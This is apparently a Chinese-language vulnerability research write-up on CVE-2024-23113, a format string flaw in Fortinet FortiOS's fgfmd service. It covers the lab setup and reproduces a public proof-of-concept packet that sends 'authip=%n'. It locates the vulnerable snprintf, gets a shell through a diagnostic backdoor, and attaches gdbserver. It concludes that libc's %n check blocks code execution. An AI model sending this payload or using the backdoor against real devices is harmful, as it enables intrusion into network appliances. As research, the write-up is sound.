# CVE-2024-23113# 漏洞信息A use of externally-controlled format string in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, FortiPAM versions 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiSwitchManager versions 7.2.0 through 7.2.3, 7.0.0 through 7.0.3 allows attacker to execute unauthorized code or commands via specially crafted packets.
POC: https://github.com/p33d/CVE-2024-23113/blob/main/POC-CVE-2024-23113.py
# 环境搭建网络配置:
1 2 3 sudo ip tuntap add dev tap0 mod tap user akyoi sudo ip addr add 192.168.200.1/24 dev tap0 sudo ip link set tap0 up
1 2 3 4 5 6 7 config system interface edit "port1" set mode static set ip 192.168.200.2 255.255.255.0 set allowaccess ping https ssh http telnet next end
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 config system central-management set mode normal set type fortimanager set fmg 192.168.200.1 config server-list edit 1 set server-type update rating set server-address 192.168.200.1 next end set fmg-source-ip 192.168.200.2 set include-default-servers disable set vdom root end
之后使用 fgt-gadgets 进行激活。
# 破解文件系统参考之前的文章的方法,这里省略了。 注意下需要先进行激活,再操作文件系统。
# POC 分析 & 漏洞点定位跑一遍 POC:
1 2 3 Enter the hostname to check (or 'exit' to quit): 192.168.200.2 [+] Device 192.168.200.2 might be vulnerable. Connection aborted as expected. [!] Warning: 192.168.200.2 is vulnerable!
POC 中 payload 传入了 authip,并设置其为一个格式化字符串:
1 2 3 4 5 format_string_payload = b "reply 200\r \n request=auth\r \n authip=%n\r \n \r \n \x00 " packet = b ''packet + = 0x0001e034 .to_bytes (4 , 'little ')packet + = (len (format_string_payload) + 8 ).to_bytes (4 , 'big ')packet + = format_string_payload
IDA 中直接搜索这个字符串 authip,发现只有一个引用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __fastcall sub_B0D480(__int64 a1 , __int64 a2 ){ __int64 v3 FILE *v4 FILE *v5 const char *v6 int v7 int v8 int v9 v3 = sub_B24170(a2 , "authip" ) if ( v3 || (v3 = sub_B24170(a2 , "fmg_fqdn" )) != 0 || (v3 = sub_B24170(a2 , "mgmtip" )) != 0 ) snprintf((char *)(a1 + 204 ), 0x7F u, *(const char **)(v3 + 8 )) v4 = (FILE *)sub_B24170(a2 , "mgmtport" ) if ( v4 ) { *(_DWORD *)(a1 + 332 ) = strtol(v4 ->_IO_read_ptr, 0 , 10 ) v4 = fopen("/tmp/fmg_detect" , "w+" ) v5 = v4 if ( v4 ) { v6 = *(const char **)(a1 + 784 ) if ( !v6 ) v6 = "NULL" fputs(v6 , v4 ) if ( nCfg_debug_zone[145 ] >= 0 ) { sub_20FFC90( 32 , (unsigned int)"FGFMs: serial no %s saved to FMG detect file\n" , *(_QWORD *)(a1 + 784 ), v7 , v8 , v9) LODWORD(v4 ) = fclose(v5 ) } else { if ( (dword_442BF00 & 0x20 ) != 0 ) fprintf(stderr, "FGFMs: serial no %s saved to FMG detect file\n" , *(const char **)(a1 + 784 )) LODWORD(v4 ) = fclose(v5 ) } } } return (int)v4 }
漏洞就出在 snprintf 中。
# 进一步分析在网上发现了 FGFM 的文档:https://fortinetweb.s3.amazonaws.com/docs.fortinet.com/v2/attachments/6379fbaa-6dda-11ee-a142-fa163e15d75b/FGFM-7.4-Communications_Protocol_Guide.pdf
AI 告诉我:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 这份文档是 Fortinet 官方发布的 FortiGate / FortiManager 7.4 Communications Protocol Guide(通信协议指南)。它详细阐述了 FortiGate 防火墙与 FortiManager 管理平台之间用于管理和通信的专有协议——FGFM (FortiGate/FortiManager) 的工作原理、安全机制及故障恢复逻辑。 以下是对该文档核心内容的深度解析: 协议基础与功能 FGFM 协议基于 SSL/TLS 加密,运行在 TCP 端口之上。 端口配置:IPv4 默认使用 TCP/541 ;IPv6 使用 TCP/542 。 核心功能:该协议专门负责管理流量,包括: 双向可达性状态检测(心跳)。 配置下发与检索。 脚本推送。 通过 RTM 进行 JSON 监控。 例外情况:防病毒(AV)、入侵防御(IPS)特征库下载及固件更新等流量,由 FortiGuard 协议处理(通常使用 UDP 9443 ),而非 FGFM。 通信机制与心跳逻辑 通信由 FortiGate 主动发起,连接 FortiManager 的监听端口。 心跳机制: FortiGate 每 120 秒 向 FortiManager 发送一次 Keep-Alive 消息。 如果 FortiManager 连续 3 次(即 360 秒/6 分钟)未收到心跳,则判定设备离线。 自动更新触发:心跳消息中包含设备的版本信息。如果 FortiManager 检测到 FortiGate 的版本较旧,会通过心跳消息通知 FortiGate,随后 FortiGate 会主动从 FortiManager 拉取更新(Pull 模式),而非 FortiManager 推送。 安全认证与加密 FGFM 协议设计了严格的双向认证和加密机制,以防止中间人攻击。 证书验证:使用设备 BIOS 中烧录的出厂证书,防止证书被篡改或伪造。 认证流程: FortiGate 建立 SSL 连接。 FortiManager 发送证书。 FortiGate 验证证书中的序列号是否与本地信任列表匹配。 信任列表:FortiGate 维护一个最多 10 个条目的本地信任列表(Local Trusted List),仅接受列表中 FortiManager 的管理。 加密套件:支持自定义加密算法,推荐使用 High 级别(如 ECDHE-RSA-AES256-GCM-SHA384),并支持防御 Logjam 等降级攻击。 拓扑支持与隧道技术 文档详细描述了不同网络环境下的通信建立方式: 拓扑场景 通信发起方 关键逻辑 FortiGate 有公网 IP FortiManager 管理员在 FMG 配置 FGT IP,FMG 主动发起连接。 FortiGate 在 NAT 后 FortiGate FGT 主动连接 FMG;若检测到 FGT 在 NAT 后,FMG 会分配内部 IP。 双方均有公网 IP 任意 支持双向连接,通常由管理员配置决定。 双方均在 NAT 后 需配置 VIP 需要在一侧配置虚拟 IP (Virtual IP) 以打通连接。 隧道隔离:为了防止管理流量泄露,协议在设备内部使用 TUN 虚拟设备。所有管理流量在 FGFM 守护进程中解封装后直接进入 TUN 接口,与设备上的其他业务流量完全隔离。 核心亮点:配置回滚与恢复 (Rollback ) 这是 FGFM 协议中最关键的保护机制,旨在防止错误的配置导致设备失联。 原子操作:配置安装分为两步:先应用 set 命令(仅在内存中生效,未写入文件),然后测试连接。 恢复逻辑: 如果连接断开,设备尝试应用 unset 命令回退更改。 如果连接仍未恢复,设备将在 15 分钟(900 秒) 后自动重启。 重启后,设备从配置文件中恢复旧的配置(Rollback ),确保管理连接恢复。 硬编码计时器:这 15 分钟的等待时间是硬编码在系统中的,无法通过配置修改或禁用,是防止“变砖”的最后一道防线。 总结 该文档展示了 Fortinet 在集中化管理中的工程严谨性。FGFM 协议不仅通过 SSL 和 BIOS 证书保证了通信安全,更通过内存级配置测试和强制回滚机制,解决了远程管理中最棘手的“失联风险”问题。对于运维人员而言,理解心跳间隔和回滚机制对于排查设备离线和配置失败问题至关重要。
通过之前的分析我们知道,FortiOS 的这些服务都是 /bin/init 启动的,而且几乎所有的服务二进制程序本身就是 init 程序,所以经过搜索我们找到其二进制程序名:
1 2 3 4 5 .rodata:0000000002D8B44E 2F 62 69 6E 2F 66 67 66 6D 64 00 aBinFgfmd db '/bin/fgfmd',0 ; DATA XREF: .data:00000000043DF110↓o .rodata:0000000002D8B44E ; sub_227E930+CC1↑o ... / lrwxrwxrwx 1 0 0 9 May 8 2023 /bin/fgfmd -> /bin/init
# 调试依旧执行 diagnose hardware smartctl 执行后门获取 shell
之后拿到 gdb 调试端口
1 kill -9 $(./bin/busybox pidof telnetd) && ./bin/gdbserver 0.0.0.0:23 --attach $(./bin/busybox pidof fgfmd)
之后就可以进行调试了。
# 进一步分析调试发现 % n 执行会报错,查看 libc 代码发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 case 23LL: LABEL_116: if ( (v185 & 2) != 0 && !v169 ) { LODWORD(v176) = v14; LODWORD(v177) = v18; LODWORD(v178) = v19; LODWORD(v179) = v16; v15 = j_strlen(a2, v15, v16, v11) + 1; v140 = _readonly_area(a2, v15); LODWORD(v16) = v179; v19 = v178; v169 = v140; v18 = v177; LODWORD(v14) = v176; if ( v140 < 0 ) _libc_fatal("*** %n in writable segment detected ***\n" , (_DWORD *)v15); }
经过分析代码,发现代码检查了格式化字符串是不是位于不可写的段,如果可写就报错退出。
这种缓解措施基本让漏洞利用拿到高价值的效果(比如代码执行)失去了可能性。
# 总结有一个看似很容易利用的格式化字符串漏洞。 但是在 libc 的层面对 % n 进行了限制,导致无法进行进一步利用。 那很坏了。。。